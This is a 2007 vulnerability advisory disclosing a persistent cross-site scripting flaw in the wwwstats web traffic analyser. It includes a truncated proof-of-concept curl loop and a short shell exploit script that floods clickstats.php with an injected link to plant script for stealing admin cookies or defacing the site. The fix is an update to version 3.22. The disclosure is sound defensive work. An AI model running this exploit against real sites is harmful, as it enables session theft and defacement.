============================================INTERNET SECURITY AUDITORS ALERT 2007-004
- Original release date: November 7th, 2007
- Last revised:  December 7th, 2007
- Discovered by: Jesus Olmos Gonzalez
- Severity: 4/5
============================================
I. VULNERABILITY
-------------------------
wwwstats is vulnerable to Persistent XSS

II. BACKGROUND
-------------------------
wwwstats is a very widely used Web traffic analyser, that registers in
a database the user agents, referers, downloads, etc ..

III. DESCRIPTION
-------------------------
Is possible to inject HTML and JavaScript to the database by calling
directly the clickstats.php code. This would mean web defacing, steal
admin sessions, web redirecting and WSS Worms.

To bypass the first 'if', is necessary to fill the HTTP Referer field
with something, and inject the link to the database by the link get
parameter.

An attacker can inject using the link parameter or the useragent field
a script which will steal admin's cookies, or make a deface, or
anything else...

If magic quotes are configured at php.ini, there is no problem, in
javascript \'test\' is interpreted as 'test'.

IV. PROOF OF CONCEPT
-------------------------
Controlling the iterations number, is possible to do the injection in
the ranking position you want:

 while [ 1 ]; do
   curl
'http://web.com/wwwstats/clickstats.php?link= 


------------Exploit------------
#!/bin/sh
#jolmos (at) isecauditors (dot) com

if [ $# -ne 4 ]
then
     echo "Usage:   $0 
      "
echo "Example: $0 http://www.victym.com/wwwstats 
 100" 
     exit
fi

echo 'Attacking, wait a moment'
for i in `seq 1 $3`; do curl "$1/clickstats.php?link=$2" -e 'attack'; done
--------------------------------

V. BUSINESS IMPACT
-------------------------
A deface or redirection can damage the corporation image.

VI. SYSTEMS AFFECTED
-------------------------
wwwstats v3.21 and prior (all)

VII. SOLUTION
-------------------------
Sanitize the inputs. Update to version 3.22.

VIII. REFERENCES
-------------------------
http://www.timeprog.com/wwwstats/ 

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Jesus Olmos Gonzalez (jolmos (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
November 07, 2007: Initial release
November 09, 2007: Added POC

XI. DISCLOSURE TIMELINE
-------------------------
November 07, 2007: Vulnerability acquired by Jesus Olmos Gonzalez
Internet Security Auditors (www.isecauditors.com) 
November 08, 2007: Developer contacted
November 08, 2007: Response and correction started.
November 26, 2007: Update Available.
December 07, 2007: Advisory published.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors, S.L. accepts no responsibility for any
damage caused by the use or misuse of this information.